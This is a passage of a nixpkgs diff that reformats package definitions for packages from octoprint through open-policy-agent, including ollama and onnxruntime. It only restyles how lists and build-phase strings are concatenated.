 
           disabledTests = [
             "test_check_setup" # Why should it be able to call pip?
-          ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_set_external_modification" ];
+          ]
+          ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_set_external_modification" ];
           disabledTestPaths = [
             "tests/test_octoprint_setuptools.py" # fails due to distutils and python3.12
           ];
diff --git a/pkgs/by-name/oc/octopus/package.nix b/pkgs/by-name/oc/octopus/package.nix
index c735d07e3cf3..878aaa2a35bd 100644
--- a/pkgs/by-name/oc/octopus/package.nix
+++ b/pkgs/by-name/oc/octopus/package.nix
@@ -68,7 +68,8 @@ stdenv.mkDerivation rec {
     spglib
     metis
     (python3.withPackages (ps: [ ps.pyyaml ]))
-  ] ++ lib.optional enableMpi scalapack;
+  ]
+  ++ lib.optional enableMpi scalapack;
 
   propagatedBuildInputs = lib.optional enableMpi mpi;
   propagatedUserEnvPkgs = lib.optional enableMpi mpi;
diff --git a/pkgs/by-name/oc/oculante/package.nix b/pkgs/by-name/oc/oculante/package.nix
index 3c59d77be355..bdcb157806d7 100644
--- a/pkgs/by-name/oc/oculante/package.nix
+++ b/pkgs/by-name/oc/oculante/package.nix
@@ -42,21 +42,20 @@ rustPlatform.buildRustPackage rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      openssl
-      fontconfig
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGL
-      libX11
-      libXcursor
-      libXi
-      libXrandr
-      gtk3
-      libxkbcommon
-      wayland
-    ];
+  buildInputs = [
+    openssl
+    fontconfig
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGL
+    libX11
+    libXcursor
+    libXi
+    libXrandr
+    gtk3
+    libxkbcommon
+    wayland
+  ];
 
   checkFlags = [
     "--skip=bench"
diff --git a/pkgs/by-name/od/odamex/package.nix b/pkgs/by-name/od/odamex/package.nix
index 02092d42991a..bdd7e84f33e2 100644
--- a/pkgs/by-name/od/odamex/package.nix
+++ b/pkgs/by-name/od/odamex/package.nix
@@ -33,25 +33,24 @@ stdenv.mkDerivation rec {
     wxGTK32
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        ''
-          mkdir -p $out/{Applications,bin}
-          mv odalaunch/odalaunch.app $out/Applications
-          makeWrapper $out/{Applications/odalaunch.app/Contents/MacOS,bin}/odalaunch
-        ''
-      else
-        ''
-          make install
-        ''
-    )
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
+      ''
+        mkdir -p $out/{Applications,bin}
+        mv odalaunch/odalaunch.app $out/Applications
+        makeWrapper $out/{Applications/odalaunch.app/Contents/MacOS,bin}/odalaunch
+      ''
+    else
+      ''
+        make install
+      ''
+  )
+  + ''
+    runHook postInstall
+  '';
 
   meta = {
     homepage = "http://odamex.net/";
diff --git a/pkgs/by-name/of/offpunk/package.nix b/pkgs/by-name/of/offpunk/package.nix
index 2359e9a0ff91..c827ff42c7f8 100644
--- a/pkgs/by-name/of/offpunk/package.nix
+++ b/pkgs/by-name/of/offpunk/package.nix
@@ -30,23 +30,22 @@ python3Packages.buildPythonApplication rec {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  dependencies =
-    [
-      file
-      less
-      timg
-      xdg-utils
-      xsel
-    ]
-    ++ (with python3Packages; [
-      beautifulsoup4
-      chardet
-      cryptography
-      feedparser
-      readability-lxml
-      requests
-      setproctitle
-    ]);
+  dependencies = [
+    file
+    less
+    timg
+    xdg-utils
+    xsel
+  ]
+  ++ (with python3Packages; [
+    beautifulsoup4
+    chardet
+    cryptography
+    feedparser
+    readability-lxml
+    requests
+    setproctitle
+  ]);
 
   postInstall = ''
     installManPage man/*.1
diff --git a/pkgs/by-name/of/offrss/package.nix b/pkgs/by-name/of/offrss/package.nix
index 0d60b2d6e3c7..4bfceb518826 100644
--- a/pkgs/by-name/of/offrss/package.nix
+++ b/pkgs/by-name/of/offrss/package.nix
@@ -17,30 +17,28 @@ stdenv.mkDerivation (finalAttrs: {
     cp offrss $out/bin
   '';
 
-  buildInputs =
-    [
-      curl
-      libmrss
-    ]
-    ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) podofo
-    ++ lib.optional (!stdenv.hostPlatform.isLinux) libiconv;
+  buildInputs = [
+    curl
+    libmrss
+  ]
+  ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) podofo
+  ++ lib.optional (!stdenv.hostPlatform.isLinux) libiconv;
 
   # Workaround build failure on -fno-common toolchains:
   #   ld: serve_pdf.o:offrss.h:75: multiple definition of `cgi_url_path';
   #     offrss.o:offrss.h:75: first defined here
   env.NIX_CFLAGS_COMPILE = "-fcommon -Wno-error=implicit-function-declaration";
 
-  configurePhase =
-    ''
-      substituteInPlace Makefile \
-        --replace '$(CC) $(CFLAGS) $(LDFLAGS)' '$(CXX) $(CFLAGS) $(LDFLAGS)'
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isLinux) ''
-      sed 's/#EXTRA/EXTRA/' -i Makefile
-    ''
-    + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
-      sed 's/^PDF/#PDF/' -i Makefile
-    '';
+  configurePhase = ''
+    substituteInPlace Makefile \
+      --replace '$(CC) $(CFLAGS) $(LDFLAGS)' '$(CXX) $(CFLAGS) $(LDFLAGS)'
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isLinux) ''
+    sed 's/#EXTRA/EXTRA/' -i Makefile
+  ''
+  + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
+    sed 's/^PDF/#PDF/' -i Makefile
+  '';
 
   src = fetchurl {
     url = "http://vicerveza.homeunix.net/~viric/soft/offrss/offrss-${finalAttrs.version}.tar.gz";
diff --git a/pkgs/by-name/oi/oils-for-unix/package.nix b/pkgs/by-name/oi/oils-for-unix/package.nix
index 21409f1658e8..c623cb1ae4ee 100644
--- a/pkgs/by-name/oi/oils-for-unix/package.nix
+++ b/pkgs/by-name/oi/oils-for-unix/package.nix
@@ -55,14 +55,13 @@ stdenv.mkDerivation rec {
   # whereas running it outside of Nix with clang version 15.0.0 generates just a warning. The shell seems to
   # work just fine though, so we disable the error here.
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=incompatible-function-pointer-types";
-  configureFlags =
-    [
-      "--datarootdir=${placeholder "out"}"
-    ]
-    ++ lib.optionals withReadline [
-      "--with-readline"
-      "--readline=${readline-all}"
-    ];
+  configureFlags = [
+    "--datarootdir=${placeholder "out"}"
+  ]
+  ++ lib.optionals withReadline [
+    "--with-readline"
+    "--readline=${readline-all}"
+  ];
 
   meta = {
     description = "Unix shell with JSON-compatible structured data. It's our upgrade path from bash to a better language and runtime";
diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index ee48d94116c3..4f6524dca320 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -88,21 +88,20 @@ let
 
   cudaPath = lib.removeSuffix "-${cudaMajorVersion}" cudaToolkit;
 
-  wrapperOptions =
-    [
-      # ollama embeds llama-cpp binaries which actually run the ai models
-      # these llama-cpp binaries are unaffected by the ollama binary's DT_RUNPATH
-      # LD_LIBRARY_PATH is temporarily required to use the gpu
-      # until these llama-cpp binaries can have their runpath patched
-      "--suffix LD_LIBRARY_PATH : '${addDriverRunpath.driverLink}/lib'"
-    ]
-    ++ lib.optionals enableRocm [
-      "--suffix LD_LIBRARY_PATH : '${rocmPath}/lib'"
-      "--set-default HIP_PATH '${rocmPath}'"
-    ]
-    ++ lib.optionals enableCuda [
-      "--suffix LD_LIBRARY_PATH : '${lib.makeLibraryPath (map lib.getLib cudaLibs)}'"
-    ];
+  wrapperOptions = [
+    # ollama embeds llama-cpp binaries which actually run the ai models
+    # these llama-cpp binaries are unaffected by the ollama binary's DT_RUNPATH
+    # LD_LIBRARY_PATH is temporarily required to use the gpu
+    # until these llama-cpp binaries can have their runpath patched
+    "--suffix LD_LIBRARY_PATH : '${addDriverRunpath.driverLink}/lib'"
+  ]
+  ++ lib.optionals enableRocm [
+    "--suffix LD_LIBRARY_PATH : '${rocmPath}/lib'"
+    "--set-default HIP_PATH '${rocmPath}'"
+  ]
+  ++ lib.optionals enableCuda [
+    "--suffix LD_LIBRARY_PATH : '${lib.makeLibraryPath (map lib.getLib cudaLibs)}'"
+  ];
   wrapperArgs = builtins.concatStringsSep " " wrapperOptions;
 
   goBuild =
@@ -139,24 +138,22 @@ goBuild (finalAttrs: {
     }
     // lib.optionalAttrs enableCuda { CUDA_PATH = cudaPath; };
 
-  nativeBuildInputs =
-    [
-      cmake
-      gitMinimal
-    ]
-    ++ lib.optionals enableRocm [
-      rocmPackages.llvm.bintools
-      rocmLibs
-    ]
-    ++ lib.optionals enableCuda [ cudaPackages.cuda_nvcc ]
-    ++ lib.optionals (enableRocm || enableCuda) [
-      makeWrapper
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    gitMinimal
+  ]
+  ++ lib.optionals enableRocm [
+    rocmPackages.llvm.bintools
+    rocmLibs
+  ]
+  ++ lib.optionals enableCuda [ cudaPackages.cuda_nvcc ]
+  ++ lib.optionals (enableRocm || enableCuda) [
+    makeWrapper
+    autoAddDriverRunpath
+  ];
 
   buildInputs =
-    lib.optionals enableRocm (rocmLibs ++ [ libdrm ])
-    ++ lib.optionals enableCuda cudaLibs;
+    lib.optionals enableRocm (rocmLibs ++ [ libdrm ]) ++ lib.optionals enableCuda cudaLibs;
 
   # replace inaccurate version number with actual release version
   postPatch = ''
@@ -230,21 +227,21 @@ goBuild (finalAttrs: {
   '';
 
   passthru = {
-    tests =
-      {
-        inherit ollama;
-        version = testers.testVersion {
-          inherit (finalAttrs) version;
-          package = ollama;
-        };
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-        inherit ollama-rocm ollama-cuda;
-        service = nixosTests.ollama;
-        service-cuda = nixosTests.ollama-cuda;
-        service-rocm = nixosTests.ollama-rocm;
+    tests = {
+      inherit ollama;
+      version = testers.testVersion {
+        inherit (finalAttrs) version;
+        package = ollama;
       };
-  } // lib.optionalAttrs (!enableRocm && !enableCuda) { updateScript = nix-update-script { }; };
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      inherit ollama-rocm ollama-cuda;
+      service = nixosTests.ollama;
+      service-cuda = nixosTests.ollama-cuda;
+      service-rocm = nixosTests.ollama-rocm;
+    };
+  }
+  // lib.optionalAttrs (!enableRocm && !enableCuda) { updateScript = nix-update-script { }; };
 
   meta = {
     description =
diff --git a/pkgs/by-name/ol/olm/package.nix b/pkgs/by-name/ol/olm/package.nix
index ec0aeb705e6c..c52415b43dc5 100644
--- a/pkgs/by-name/ol/olm/package.nix
+++ b/pkgs/by-name/ol/olm/package.nix
@@ -21,18 +21,17 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  postPatch =
-    ''
-      substituteInPlace olm.pc.in \
-        --replace '$'{exec_prefix}/@CMAKE_INSTALL_LIBDIR@ @CMAKE_INSTALL_FULL_LIBDIR@ \
-        --replace '$'{prefix}/@CMAKE_INSTALL_INCLUDEDIR@ @CMAKE_INSTALL_FULL_INCLUDEDIR@
-    ''
-    # Clang 19 has become more strict about assigning to const variables
-    # Patch from https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=281497
-    + lib.optionalString (stdenv.cc.isClang && lib.versionAtLeast stdenv.cc.version "19") ''
-      substituteInPlace include/olm/list.hh \
-        --replace-fail "T * const other_pos = other._data;" "T const * other_pos = other._data;"
-    '';
+  postPatch = ''
+    substituteInPlace olm.pc.in \
+      --replace '$'{exec_prefix}/@CMAKE_INSTALL_LIBDIR@ @CMAKE_INSTALL_FULL_LIBDIR@ \
+      --replace '$'{prefix}/@CMAKE_INSTALL_INCLUDEDIR@ @CMAKE_INSTALL_FULL_INCLUDEDIR@
+  ''
+  # Clang 19 has become more strict about assigning to const variables
+  # Patch from https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=281497
+  + lib.optionalString (stdenv.cc.isClang && lib.versionAtLeast stdenv.cc.version "19") ''
+    substituteInPlace include/olm/list.hh \
+      --replace-fail "T * const other_pos = other._data;" "T const * other_pos = other._data;"
+  '';
 
   meta = with lib; {
     description = "Implements double cryptographic ratchet and Megolm ratchet";
diff --git a/pkgs/by-name/om/ombi/package.nix b/pkgs/by-name/om/ombi/package.nix
index 35097500bf0a..56b5e743092d 100644
--- a/pkgs/by-name/om/ombi/package.nix
+++ b/pkgs/by-name/om/ombi/package.nix
@@ -49,10 +49,11 @@ stdenv.mkDerivation rec {
     runHook postUnpack
   '';
 
-  nativeBuildInputs =
-    [ makeWrapper ]
-    ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook
-    ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
   propagatedBuildInputs = [
     stdenv.cc.cc
diff --git a/pkgs/by-name/om/omxplayer/package.nix b/pkgs/by-name/om/omxplayer/package.nix
index 0515a9b5f203..ca0cb459af6c 100644
--- a/pkgs/by-name/om/omxplayer/package.nix
+++ b/pkgs/by-name/om/omxplayer/package.nix
@@ -21,49 +21,48 @@ let
     };
 
     configurePlatforms = [ ];
-    configureFlags =
-      [
-        "--arch=${stdenv.hostPlatform.parsed.cpu.name}"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-        # TODO be better with condition
-        "--cpu=arm1176jzf-s"
-      ]
-      ++ [
-        "--disable-muxers"
-        "--enable-muxer=spdif"
-        "--enable-muxer=adts"
-        "--disable-encoders"
-        "--enable-encoder=ac3"
-        "--enable-encoder=aac"
-        "--disable-decoder=mpeg_xvmc"
-        "--disable-devices"
-        "--disable-ffprobe"
-        "--disable-ffplay"
-        "--disable-ffserver"
-        "--disable-ffmpeg"
-        "--enable-shared"
-        "--disable-doc"
-        "--enable-postproc"
-        "--enable-gpl"
-        "--enable-protocol=http"
-        "--enable-pthreads"
-        "--disable-runtime-cpudetect"
-        "--enable-pic"
-        "--disable-armv5te"
-        "--disable-neon"
-        "--enable-armv6t2"
-        "--enable-armv6"
-        "--enable-hardcoded-tables"
-        "--disable-runtime-cpudetect"
-        "--disable-debug"
-        "--arch=${stdenv.hostPlatform.parsed.cpu.name}"
-        "--target_os=${stdenv.hostPlatform.parsed.kernel.name}"
-      ]
-      ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-        "--cross-prefix=${stdenv.cc.targetPrefix}"
-        "--enable-cross-compile"
-      ];
+    configureFlags = [
+      "--arch=${stdenv.hostPlatform.parsed.cpu.name}"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+      # TODO be better with condition
+      "--cpu=arm1176jzf-s"
+    ]
+    ++ [
+      "--disable-muxers"
+      "--enable-muxer=spdif"
+      "--enable-muxer=adts"
+      "--disable-encoders"
+      "--enable-encoder=ac3"
+      "--enable-encoder=aac"
+      "--disable-decoder=mpeg_xvmc"
+      "--disable-devices"
+      "--disable-ffprobe"
+      "--disable-ffplay"
+      "--disable-ffserver"
+      "--disable-ffmpeg"
+      "--enable-shared"
+      "--disable-doc"
+      "--enable-postproc"
+      "--enable-gpl"
+      "--enable-protocol=http"
+      "--enable-pthreads"
+      "--disable-runtime-cpudetect"
+      "--enable-pic"
+      "--disable-armv5te"
+      "--disable-neon"
+      "--enable-armv6t2"
+      "--enable-armv6"
+      "--enable-hardcoded-tables"
+      "--disable-runtime-cpudetect"
+      "--disable-debug"
+      "--arch=${stdenv.hostPlatform.parsed.cpu.name}"
+      "--target_os=${stdenv.hostPlatform.parsed.kernel.name}"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+      "--cross-prefix=${stdenv.cc.targetPrefix}"
+      "--enable-cross-compile"
+    ];
 
     enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/on/onboard/package.nix b/pkgs/by-name/on/onboard/package.nix
index 7a2e35306d84..de90f6a4e22b 100644
--- a/pkgs/by-name/on/onboard/package.nix
+++ b/pkgs/by-name/on/onboard/package.nix
@@ -97,7 +97,8 @@ python3.pkgs.buildPythonApplication rec {
     udev
     xorg.libXtst
     xorg.libxkbfile
-  ] ++ lib.optional atspiSupport at-spi2-core;
+  ]
+  ++ lib.optional atspiSupport at-spi2-core;
 
   pythonPath = with python3.pkgs; [
     dbus-python
diff --git a/pkgs/by-name/on/onedrive/package.nix b/pkgs/by-name/on/onedrive/package.nix
index 2d5ca17c04ee..83024838f9ee 100644
--- a/pkgs/by-name/on/onedrive/package.nix
+++ b/pkgs/by-name/on/onedrive/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation (finalAttrs: {
     curl
     libnotify
     sqlite
-  ] ++ lib.optionals withSystemd [ systemd ];
+  ]
+  ++ lib.optionals withSystemd [ systemd ];
 
   configureFlags = [
     (lib.enableFeature true "notifications")
diff --git a/pkgs/by-name/on/onefetch/package.nix b/pkgs/by-name/on/onefetch/package.nix
index d4ca51341cae..2d3f8449097d 100644
--- a/pkgs/by-name/on/onefetch/package.nix
+++ b/pkgs/by-name/on/onefetch/package.nix
@@ -39,11 +39,12 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [ zstd ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libresolv
-    ];
+  buildInputs = [
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libresolv
+  ];
 
   nativeCheckInputs = [
     gitMinimal
diff --git a/pkgs/by-name/on/onionshare/package.nix b/pkgs/by-name/on/onionshare/package.nix
index 640caf9ed2a1..79fe90ba6cd2 100644
--- a/pkgs/by-name/on/onionshare/package.nix
+++ b/pkgs/by-name/on/onionshare/package.nix
@@ -93,14 +93,13 @@ python3Packages.buildPythonApplication rec {
     tor
   ];
 
-  nativeCheckInputs =
-    [
-      versionCheckHook
-      writableTmpDirAsHomeHook
-    ]
-    ++ (with python3Packages; [
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    versionCheckHook
+    writableTmpDirAsHomeHook
+  ]
+  ++ (with python3Packages; [
+    pytestCheckHook
+  ]);
 
   disabledTests =
     lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/on/onnxruntime/package.nix b/pkgs/by-name/on/onnxruntime/package.nix
index 4dfa54fd52ed..360e39e54d72 100644
--- a/pkgs/by-name/on/onnxruntime/package.nix
+++ b/pkgs/by-name/on/onnxruntime/package.nix
@@ -110,128 +110,125 @@ effectiveStdenv.mkDerivation rec {
     ./nvcc-gsl.patch
   ];
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    python3Packages.python
+    protobuf_21
+  ]
+  ++ lib.optionals pythonSupport (
+    with python3Packages;
     [
-      cmake
-      pkg-config
-      python3Packages.python
-      protobuf_21
+      pip
+      python
+      pythonOutputDistHook
+      setuptools
+      wheel
     ]
-    ++ lib.optionals pythonSupport (
-      with python3Packages;
-      [
-        pip
-        python
-        pythonOutputDistHook
-        setuptools
-        wheel
-      ]
-    )
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-      cudaPackages.cudnn-frontend
-    ]
-    ++ lib.optionals isCudaJetson [
-      cudaPackages.autoAddCudaCompatRunpath
-    ];
+  )
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+    cudaPackages.cudnn-frontend
+  ]
+  ++ lib.optionals isCudaJetson [
+    cudaPackages.autoAddCudaCompatRunpath
+  ];
 
-  buildInputs =
+  buildInputs = [
+    cpuinfo
+    eigen
+    glibcLocales
+    howard-hinnant-date
+    libpng
+    nlohmann_json
+    microsoft-gsl
+    pytorch_clog
+    zlib
+  ]
+  ++ lib.optionals pythonSupport (
+    with python3Packages;
     [
-      cpuinfo
-      eigen
-      glibcLocales
-      howard-hinnant-date
-      libpng
-      nlohmann_json
-      microsoft-gsl
-      pytorch_clog
-      zlib
+      numpy
+      pybind11
+      packaging
     ]
-    ++ lib.optionals pythonSupport (
-      with python3Packages;
-      [
-        numpy
-        pybind11
-        packaging
-      ]
-    )
-    ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [
-      libiconv
+  )
+  ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
+    [
+      cuda_cccl # cub/cub.cuh
+      libcublas # cublas_v2.h
+      libcurand # curand.h
+      libcusparse # cusparse.h
+      libcufft # cufft.h
+      cudnn # cudnn.h
+      cuda_cudart
     ]
-    ++ lib.optionals cudaSupport (
+    ++ lib.optionals (cudaSupport && ncclSupport) (
       with cudaPackages;
       [
-        cuda_cccl # cub/cub.cuh
-        libcublas # cublas_v2.h
-        libcurand # curand.h
-        libcusparse # cusparse.h
-        libcufft # cufft.h
-        cudnn # cudnn.h
-        cuda_cudart
+        nccl
       ]
-      ++ lib.optionals (cudaSupport && ncclSupport) (
-        with cudaPackages;
-        [
-          nccl
-        ]
-      )
-    );
+    )
+  );
 
-  nativeCheckInputs =
+  nativeCheckInputs = [
+    gtest
+  ]
+  ++ lib.optionals pythonSupport (
+    with python3Packages;
     [
-      gtest
+      pytest
+      sympy
+      onnx
     ]
-    ++ lib.optionals pythonSupport (
-      with python3Packages;
-      [
-        pytest
-        sympy
-        onnx
-      ]
-    );
+  );
 
   # TODO: build server, and move .so's to lib output
   # Python's wheel is stored in a separate dist output
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals pythonSupport [ "dist" ];
+  ]
+  ++ lib.optionals pythonSupport [ "dist" ];
 
   enableParallelBuilding = true;
 
   cmakeDir = "../cmake";
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "ABSL_ENABLE_INSTALL" true)
-      (lib.cmakeBool "FETCHCONTENT_FULLY_DISCONNECTED" true)
-      (lib.cmakeBool "FETCHCONTENT_QUIET" false)
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_ABSEIL_CPP" "${abseil-cpp_202407.src}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_DLPACK" "${dlpack}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_FLATBUFFERS" "${flatbuffers_23.src}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_MP11" "${mp11}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_ONNX" "${onnx}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_RE2" "${re2.src}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_SAFEINT" "${safeint}")
-      (lib.cmakeFeature "FETCHCONTENT_TRY_FIND_PACKAGE_MODE" "ALWAYS")
-      # fails to find protoc on darwin, so specify it
-      (lib.cmakeFeature "ONNX_CUSTOM_PROTOC_EXECUTABLE" "${protobuf_21}/bin/protoc")
-      (lib.cmakeBool "onnxruntime_BUILD_SHARED_LIB" true)
-      (lib.cmakeBool "onnxruntime_BUILD_UNIT_TESTS" doCheck)
-      (lib.cmakeBool "onnxruntime_USE_FULL_PROTOBUF" false)
-      (lib.cmakeBool "onnxruntime_USE_CUDA" cudaSupport)
-      (lib.cmakeBool "onnxruntime_USE_NCCL" (cudaSupport && ncclSupport))
-      (lib.cmakeBool "onnxruntime_ENABLE_LTO" (!cudaSupport || cudaPackages.cudaOlder "12.8"))
-    ]
-    ++ lib.optionals pythonSupport [
-      (lib.cmakeBool "onnxruntime_ENABLE_PYTHON" true)
-    ]
-    ++ lib.optionals cudaSupport [
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_CUTLASS" "${cutlass}")
-      (lib.cmakeFeature "onnxruntime_CUDNN_HOME" "${cudaPackages.cudnn}")
-      (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString)
-      (lib.cmakeFeature "onnxruntime_NVCC_THREADS" "1")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "ABSL_ENABLE_INSTALL" true)
+    (lib.cmakeBool "FETCHCONTENT_FULLY_DISCONNECTED" true)
+    (lib.cmakeBool "FETCHCONTENT_QUIET" false)
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_ABSEIL_CPP" "${abseil-cpp_202407.src}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_DLPACK" "${dlpack}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_FLATBUFFERS" "${flatbuffers_23.src}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_MP11" "${mp11}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_ONNX" "${onnx}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_RE2" "${re2.src}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_SAFEINT" "${safeint}")
+    (lib.cmakeFeature "FETCHCONTENT_TRY_FIND_PACKAGE_MODE" "ALWAYS")
+    # fails to find protoc on darwin, so specify it
+    (lib.cmakeFeature "ONNX_CUSTOM_PROTOC_EXECUTABLE" "${protobuf_21}/bin/protoc")
+    (lib.cmakeBool "onnxruntime_BUILD_SHARED_LIB" true)
+    (lib.cmakeBool "onnxruntime_BUILD_UNIT_TESTS" doCheck)
+    (lib.cmakeBool "onnxruntime_USE_FULL_PROTOBUF" false)
+    (lib.cmakeBool "onnxruntime_USE_CUDA" cudaSupport)
+    (lib.cmakeBool "onnxruntime_USE_NCCL" (cudaSupport && ncclSupport))
+    (lib.cmakeBool "onnxruntime_ENABLE_LTO" (!cudaSupport || cudaPackages.cudaOlder "12.8"))
+  ]
+  ++ lib.optionals pythonSupport [
+    (lib.cmakeBool "onnxruntime_ENABLE_PYTHON" true)
+  ]
+  ++ lib.optionals cudaSupport [
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_CUTLASS" "${cutlass}")
+    (lib.cmakeFeature "onnxruntime_CUDNN_HOME" "${cudaPackages.cudnn}")
+    (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString)
+    (lib.cmakeFeature "onnxruntime_NVCC_THREADS" "1")
+  ];
 
   env = lib.optionalAttrs effectiveStdenv.cc.isClang {
     NIX_CFLAGS_COMPILE = "-Wno-error";
@@ -242,21 +239,20 @@ effectiveStdenv.mkDerivation rec {
 
   requiredSystemFeatures = lib.optionals cudaSupport [ "big-parallel" ];
 
-  postPatch =
-    ''
-      substituteInPlace cmake/libonnxruntime.pc.cmake.in \
-        --replace-fail '$'{prefix}/@CMAKE_INSTALL_ @CMAKE_INSTALL_
-      echo "find_package(cudnn_frontend REQUIRED)" > cmake/external/cudnn_frontend.cmake
+  postPatch = ''
+    substituteInPlace cmake/libonnxruntime.pc.cmake.in \
+      --replace-fail '$'{prefix}/@CMAKE_INSTALL_ @CMAKE_INSTALL_
+    echo "find_package(cudnn_frontend REQUIRED)" > cmake/external/cudnn_frontend.cmake
 
-      # https://github.com/microsoft/onnxruntime/blob/c4f3742bb456a33ee9c826ce4e6939f8b84ce5b0/onnxruntime/core/platform/env.h#L249
-      substituteInPlace onnxruntime/core/platform/env.h --replace-fail \
-        "GetRuntimePath() const { return PathString(); }" \
-        "GetRuntimePath() const { return PathString(\"$out/lib/\"); }"
-    ''
-    + lib.optionalString (effectiveStdenv.hostPlatform.system == "aarch64-linux") ''
-      # https://github.com/NixOS/nixpkgs/pull/226734#issuecomment-1663028691
-      rm -v onnxruntime/test/optimizer/nhwc_transformer_test.cc
-    '';
+    # https://github.com/microsoft/onnxruntime/blob/c4f3742bb456a33ee9c826ce4e6939f8b84ce5b0/onnxruntime/core/platform/env.h#L249
+    substituteInPlace onnxruntime/core/platform/env.h --replace-fail \
+      "GetRuntimePath() const { return PathString(); }" \
+      "GetRuntimePath() const { return PathString(\"$out/lib/\"); }"
+  ''
+  + lib.optionalString (effectiveStdenv.hostPlatform.system == "aarch64-linux") ''
+    # https://github.com/NixOS/nixpkgs/pull/226734#issuecomment-1663028691
+    rm -v onnxruntime/test/optimizer/nhwc_transformer_test.cc
+  '';
 
   postBuild = lib.optionalString pythonSupport ''
     ${python3Packages.python.interpreter} ../setup.py bdist_wheel
diff --git a/pkgs/by-name/op/open-policy-agent/package.nix b/pkgs/by-name/op/open-policy-agent/package.nix
index 01ff13010866..10af46221cb0 100644
--- a/pkgs/by-name/op/open-policy-agent/package.nix
+++ b/pkgs/by-name/op/open-policy-agent/package.nix
@@ -45,20 +45,19 @@ buildGoModule (finalAttrs: {
 
   checkFlags =
     let
-      skippedTests =
-        [
-          # Skip tests that require network, not available in the nix sandbox
-          "TestInterQueryCache_ClientError"
-          "TestIntraQueryCache_ClientError"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          # Skip tests that require network, not available in the darwin sandbox
-          "TestHTTPSClient"
-          "TestHTTPSNoClientCerts"
-        ]
-        ++ lib.optionals (!enableWasmEval) [
-          "TestRegoTargetWasmAndTargetPluginDisablesIndexingTopdownStages"
-        ];
+      skippedTests = [
+        # Skip tests that require network, not available in the nix sandbox
+        "TestInterQueryCache_ClientError"
+        "TestIntraQueryCache_ClientError"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        # Skip tests that require network, not available in the darwin sandbox
+        "TestHTTPSClient"
